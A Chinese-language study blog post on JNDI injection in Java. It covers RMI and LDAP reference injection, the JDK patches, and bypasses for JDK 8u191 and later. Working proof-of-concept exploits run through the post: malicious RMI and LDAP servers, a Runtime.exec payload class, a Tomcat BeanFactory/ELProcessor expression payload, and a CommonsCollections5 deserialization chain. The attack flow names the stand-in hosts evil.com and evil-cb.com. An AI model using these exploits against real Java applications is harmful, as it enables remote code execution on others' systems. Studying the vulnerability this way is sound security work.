0%

JNDI注入之略微学学

前言

JNDI注入! 环境版本:JDK1.8.0-66

JNDI概念

JNDI 全称为 Java Naming and Directory Interface(Java 命名与目录接口) 是SUN公司提供的一种标准的 Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

那么我们就知道了它为java提供的一个接口,而且分为了两个部分,命名服务与目录服务。

Naming Service 命名服务

命名服务也可称为名称服务将名称和对象进行关联,提供 通过名称找到对象 的操作,但是存在一些特殊情况,在一些命名服务系统中并不直接将对象进行存储,而是存储了对象的引用,引用包含了如何访问实际对象的信息,类似于指针。

命名服务普遍存在于计算机系统中,例如:

  • DNS: 通过域名查找实际的 IP 地址
  • 文件系统: 通过文件名定位到具体的文件

在命名系统中,存在以下几个重要的概念:

  • Bindings: 表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP。
  • Context: 上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext)。
  • References: 当存在上述的特殊情况时,以引用的形式进行存储,可以理解为指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd ,这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。

Directory Service 目录服务

目录服务是名称服务的 一种拓展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(attributes)信息。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象。

即:名称 -> 对象 与 对象的属性 -> 对象

API

根据上面的介绍,我们知道 目录服务是中心化网络应用的一个重要组件。使用目录服务可以简化应用中服务管理验证逻辑,集中存储共享信息。目录服务的存在拓宽了我们获取一个对象的方式,不仅仅通过lookup,还能通过search。

比如对于打印机服务,我们可以通过在目录服务中查找打印机,并获得一个打印机对象,基于这个 Java 对象进行实际的打印操作。

基于以上情况就有了 JNDI,应用通过该接口与具体的目录服务进行交互。从设计上,JNDI 独立于具体的目录服务实现,设计出了应用范围宽泛的(也就是兼容性比较强大),因此可以针对不同的目录服务提供统一的操作接口。

JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,如下图所示:

image-20220706004532839

SPI

SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体的目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:

  • RMI: Java Remote Method Invocation,Java 远程方法调用
  • LDAP: 轻量级目录访问协议
  • CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务

JNDI的结构

从上面介绍的三个 Service Provider 我们可以看到,除了 RMI 是 Java 特有的远程调用框架,其他两个都是通用的服务和标准,可以脱离 Java 独立使用。JNDI 就是在这个基础上提供了统一的接口,来方便调用各种服务。在 Java JDK 里面提供了5个包,提供给JNDI的功能实现,分别是:

  • javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
  • javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
  • javax.naming.event:在命名目录服务器中请求事件通知;
  • javax.naming.ldap:提供LDAP支持;
  • javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

其中最为重要的是 javax.naming,其中的一些类需要学习一下

InitialContext类

构造方法:

//构建一个初始上下文。
InitialContext()
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)

常用方法:

//将名称绑定到对象。 
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name)
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)

示例:

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
//在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}

Reference类

该类也是在 javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的 引用功能

构造方法:

//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)

//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)

/*
参数:
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议
*/

常用方法:

//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr)
//将地址添加到地址列表的末尾。
void add(RefAddr addr)
//从此引用中删除所有地址。
void clear()
//检索索引posn上的地址。
RefAddr get(int posn)
//检索地址类型为“addrType”的第一个地址。
RefAddr get(String addrType)
//检索本参考文献中地址的列举。
Enumeration<RefAddr> getAll()
//检索引用引用的对象的类名。
String getClassName()
//检索此引用引用的对象的工厂位置。
String getFactoryClassLocation()
//检索此引用引用对象的工厂的类名。
String getFactoryClassName()
//从地址列表中删除索引posn上的地址。
Object remove(int posn)
//检索此引用中的地址数。
int size()
//生成此引用的字符串表示形式。
String toString()

示例:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);
}
}

这里调用了ReferenceWrapper进行对引用的包装,提一句原因。

查看到Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。

JNDI References 注入

在JNDI中对象的传递为两种,一、序列化,二、引用。针对于引用的方式,如果我们可控客户端的 lookup()内容,控制客户端去访问恶意的服务中心(比如rmi和ldap),获取到恶意的引用,从而获取恶意远程服务器的恶意class文件进行执行。

image-20220714154410955

  1. 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URI 为 rmi://evil.com:1099/refObj
  2. 原先配置好的上下文环境 会因为动态环境转换而被指向 rmi://evil.com:1099/
  3. 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj 绑定的ReferenceWrapper 对象
  4. 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从恶意远程服务器上去尝试获取 EvilObject.class,即动态的去获取 http://evil-cb.com/EvilObject.class
  5. 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class
  6. 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行

防御

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly 默认值被设置为 true。将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了 com.sun.jndi.rmi.object.trustURLCodebase 选项,默认为 false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了 com.sun.jndi.ldap.object.trustURLCodebase 选项,默认为 false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

这就涉及到高版本下的JNDI绕过,下篇学习。

JNDI-RMI

实现

Server端

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String[] args) throws Exception {
String url = "http://127.0.0.1:8080";
Registry r = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("calc", "calc", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
r.bind("evil",referenceWrapper);
}
}

Client端

import javax.naming.InitialContext;

public class Client {
public static void main(String[] args) throws Exception {
String url = "rmi://127.0.0.1:1099/evil";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}

calc.java,编译为class,放到web服务下

import java.io.IOException;

public class calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

启动服务端、客户端后弹出计算器。

流程分析

断点下到

initialContext.lookup(url);

走到 RegistryContext#lookup ,通过registryImpl_Stub去寻找evil,返回值为一个 ReferenceWrapper 对象,接着调用当前类的decodeObject 去获取其中的信息

image-20220714183414297

调用 getReference 获取信息

image-20220714183745369

看到已经获取详细的信息了,随后调用静态方法 NamingManager#getObjectInstance

image-20220714184051614

getObjectInstance 中定义 ObjectFactory 类型的 factory 用于接受工厂类的对象

image-20220717231849391

然后调用 getObjectFactoryFromReference 去获取 工厂类的对象

image-20220714184416349

getObjectFactoryFromReference 中首先直接尝试类加载

image-20220714184651459

那么在类加载的过程中使用AppClassLoader加载,本地肯定是没有的,返回空

image-20220714184850343

本地没有找到类接着调用 Reference#getFactoryClassLocation 赋值给 codebase ,也就是获取远程调用的地址,并再次类加载,这回用 URLClassLoader去进行加载。

image-20220714185348698

这样就能获取到远程的恶意类,并且进行初始化的类加载,执行静态代码块。

image-20220714185440971

一路返回到 getObjectFactoryFromReference,最后会实例化返回一个对象,所以恶意代码还可以写到构造函数中。

image-20220714185626149

返回到 factory 后,调用其 getObjectInstance 方法

image-20220715013540301

修补

上面提到说,JDK 6u141、7u131、8u121之后:增加了 com.sun.jndi.rmi.object.trustURLCodebase 选项,默认为 false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞。

切换版本为jdk8u181,在RegistryContext中,会判断 trustURLCodebase

image-20220714232650954

默认为false,默认情况下就抛出异常。

image-20220714233203175

但是在8u191之前都是可以通过LDAP进行绕过的,下面跟一下ldap的流程。

JNDI-LDAP

实现

ldap用代码实现比较多(下面8u191代码实现ldap),这里直接用工具 marshalsec 启动代替LDAP服务。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#calc

Client端

import javax.naming.InitialContext;

public class Client {
public static void main(String[] args) throws Exception {
String url = "ldap://127.0.0.1:1389/aa";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}

流程分析

LdapCtx#c_lookup 走到decodeObject,和上面作用一样,进行解析

image-20220715001340200

感觉这里应该还会有利用点,学懂了在研究吧。

image-20220715001757440

可以看到解析出来后为Reference对象

image-20220715001919622

然后调用 DirectoryManager#getObjectInstance 去获取实例,对照着RMI的修补就知道,这里没有进行限制。

image-20220715002006872

剩下的类似RMI,getObjectFactoryFromReference->loadClass

image-20220715002429400

类加载完毕后返回实例,同样调用其 工厂类对象的getObjectInstance 方法

image-20220715012834856

修补

8u191之后进行了修补, loadClass方法中添加 trustURLCodebase 属性,所以不能远程加载了。

image-20220715023443502

8u191的绕过

针对8u191的绕过大致两种途径

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

第一种思路,既然远程不能打,就寻找本地的工厂类的有没有可能存在利用点,我们返回的Reference对象中包含本地存在的可利用Factory类,然后在loadClass后,创建实例对象,调用其 getObjectInstance 方法,当然了Factory类需要实现 javax.naming.spi.ObjectFactory 接口,还要重写其 getObjectInstance 方法。比如现在有这么一个Factory中,它的静态代码块或者无参构造方法等存在利用点,它的 getObjectInstance 存在利用点,我们直接返回Reference对象就可以加以利用。

第二种思路,通过LDAP的 javaSerializedData反序列化gadget。LDAP服务端除了支持JNDI Reference这种利用方式外,还支持直接返回一个序列化的对象。如果Java对象的javaSerializedData属性值不为空,则客户端的obj.decodeObject()方法就会对这个字段的内容进行反序列化。

简单例子

Server端创建rmi服务

Reference reference = new Reference("Test","Test",null);

Client端存在一个Factory

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Test implements ObjectFactory {
static {
System.out.println("静态代码");
}

public Test(){
System.out.println("无参构造方法");
}

{
System.out.println("构造代码块");
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("getObjectInstance");
return null;
}
}

当client端发起lookup请求后,结果如下

静态代码
构造代码块
无参构造方法
getObjectInstance

利用本地Class

目前公开常用的利用方法是通过 Tomcatorg.apache.naming.factory.BeanFactory 工厂类去调用 javax.el.ELProcessor#eval 方法或 groovy.lang.GroovyShell#evaluate 方法

BeanFactory 的利用原理如下

org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

pom.xml都添加上

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>9.0.8</version>
</dependency>

Server端

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class Server {
public static void main(String[] args) throws Exception {
Registry r = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
r.bind("evil",referenceWrapper);
System.out.println("running");
}
}

流程分析

先看一下 BeanFactory#getObjectInstance

首先要求传入的类型为 ResourceRef ,所以Server端才这样构造

image-20220718144626385

看一下 ResourceRef 的构造函数

image-20220718144846588

调用父类构造方法,最后结果如下

  • classFactory = factory (org.apache.naming.factory.BeanFactory)
  • classFactoryLocation = null
  • className = resourceClass (javax.el.ELProcessor)

Client端接受Reference后实例 BeanFactory 对象,调用其 getObjectInstance 方法

image-20220718145434845

跟进 BeanFactory#getObjectInstance 获取beenClass即ELprocessor,通过类加载器进行类加载

image-20220718145804608

调用无参构造方法去实例化对象

image-20220718145958151

接着从Reference对象的addrs参数集合中获取其 addrType 是 forceString 的参数赋值给value

image-20220810123453393

for循环去遍历value,按照,分割成多个要执行的方法,如果有 = 进行截取,等号前面赋值给param,后面赋值给 setterName,相当于拆分为键值对

image-20220718150525075

在beenclass中获取”键值名”的方法,把键名和对应的方法放到 forced中

image-20220718150820408

获取出不在if条件中的其他值,这里获取到的即 x,赋值给 propName

ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

image-20220718151126979

最后会根据 propName 作为方法名称去反射获取一个参数类型是 **String.class(value)**的方法,并按照 param 从 addrs 中取到的 String 对象作为参数去反射调用该方法。

从 forced 中 获取 x 所代表的method,然后进行反射调用命令执行。

image-20220718151253037

LDAP返回对象

pox.xml

<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>

Server端,打CC5

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class Server {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) throws Exception{
String[] args=new String[]{"http://192.168.68.155/#test"};
int port = 1389;

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}

e.addAttribute("javaSerializedData",CommonsCollections5());

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}

private static byte[] CommonsCollections5() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();

return byteArrayOutputStream.toByteArray();
}

}

流程分析

LdapCtx#c_lookup,进行判断 JAVA_ATTRIBUTES[2] 即 javaclassname 不为空,进入Obj#decodeObject

image-20220718155901828

Obj#decodeObject 中 JAVA_ATTRIBUTES[4] 空,尝试获取 JAVA_ATTRIBUTES[1],即序列化的字节码。

image-20220718160557209

deserializeObject,反序列化

image-20220718160806948

参考

JNDI注入分析

JNDI注入学习

浅析JNDI注入

如何绕过高版本JDK的限制进行